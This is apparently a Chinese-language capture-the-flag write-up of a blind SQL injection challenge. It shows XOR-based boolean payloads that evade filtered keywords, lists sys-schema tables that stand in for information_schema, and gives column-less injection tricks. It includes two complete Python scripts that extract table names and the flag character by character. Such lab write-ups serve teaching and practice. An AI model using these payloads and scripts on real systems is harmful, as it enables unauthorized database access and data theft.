打开发现是一个图像,下面有查询框1.PNG

用bp抓包看到了注入点注入点.PNG

fuzz一下看看过滤的字符,发现重要的字符都被过滤了过滤.PNG

  1. information handler join 被过滤

只有通过 sys的x$schema_table_statistics 来查询表名

构造payload查表名:

  1. '1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{})^1'

利用python脚本:

  1. import requests
  2. url='http://9965a568-1856-42f8-a421-12362d5369d2.node4.buuoj.cn:81/index.php'
  3. payload_table='1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{})^1'
  4. flag =''
  5. for i in range(1,100):
  6. low = 32
  7. high = 132
  8. mid = (low + high) //2
  9. while(low < high):
  10. payload = payload_table.format(i,mid)
  11. data={"id": payload}
  12. print(payload)
  13. r = requests.post(url=url,data=data)
  14. if 'Nu1L' in r.text:
  15. low = mid+1
  16. else:
  17. high = mid
  18. mid = (low+high) //2
  19. if(mid ==32 or mid == 127):
  20. break
  21. flag +=chr(mid)
  22. print(flag)

获得:

  1. users233333333333333,f1ag_1s_h3r3_hhhhh

构造payload获取flag:

  1. 1^((select (select 1,'g')>(select * from f1ag_1s_h3r3_hhhhh)))^1
  2. -1||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))

利用python脚本获取flag:

  1. import requests
  2. url='http://9965a568-1856-42f8-a421-12362d5369d2.node4.buuoj.cn:81/index.php'
  3. payload='-1||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
  4. flag=''
  5. for j in range(1,50):
  6. for i in range(32,128):
  7. hexchar=flag+chr(i)
  8. py=payload.format(hexchar)
  9. print(py)
  10. datas={'id':py}
  11. import time
  12. time.sleep(1)
  13. re=requests.post(url=url,data=datas)
  14. if 'Nu1L' in re.text:
  15. flag+=chr(i-1)
  16. print(flag)
  17. break

获得:

  1. FLAG{880DAD46-32E4-4D9A-B898-04505273DFA9}

FLAG转换成小写:

  1. s = "FLAG{880DAD46-32E4-4D9A-B898-04505273DFA9}"
  2. print(s.lower())
  3. flag{880dad46-32e4-4d9a-b898-04505273dfa9}

补充知识:

过滤information_schema 代替表

以下表都可代替information_schema表查询表名信息,但是不能查到列名

  1. mysql.innodb_table_statstable_schema
  2. table_schema 换成 database_name
  1. sys.x$schema_table_statistics (只能查表名,查不到列名)
  2. 表名:table_name 数据库:table_schema
  1. sys.schema_auto_increment_columns (可获取表名和库名)
  2. 表名:table_name 数据库:table_schema
  1. sys.schema_table_statistics_with_buffer (可获取表名)
  2. 表名:table_name 数据库:table_schema

无列名注入(只知道表名的情况下查询数据)

子查询绕过

  1. (select `2` from (select 1,2,3 union select * from table_name)a) //前提是要知道表名
  2. ((select c from (select 1,2,3 as c union select * from users)b)) 123是因为users 表有三列,实际情况还需要猜测表的列的数量

join爆破列名

  1. ?id=-1' union all select * from (select * from users as a join users as b)as c--+//as 主要作用是起别名,就是把users表当做a表,常规来说as可以省略
  2. ?id=-1' union all select*from (select * from users as a join users as b using(id,username))as c--+

逐字符检索数据
这里的select 1 是对应字段的位置 比如 id username password 1 就对应id 2就对应 username 3就对应 password

  1. mysql> select (select 1,'c') > (select * from users limit 0,1);
  2. +------------------------------------------------------------+| (select 1,'c') > (select * from users limit 0,1) |
  3. +------------------------------------------------------------+
  4. | 0 |
  5. +------------------------------------------------------------+
  6. mysql> select (select 1,'d') > (select * from users limit 0,1);
  7. +------------------------------------------------------------+
  8. | (select 1,'c') > (select * from users limit 0,1) |
  9. +------------------------------------------------------------+
  10. | 1 |
  11. +------------------------------------------------------------+
  12. //说明第二个字段的第一位是c,以此类推
  1. mysql> select (select 1,'cm') > (select * from users limit 0,1);+------------------------------------------------------------+
  2. | (select 1,'c') > (select * from users limit 0,1) |
  3. +------------------------------------------------------------+
  4. | 0 |
  5. +------------------------------------------------------------+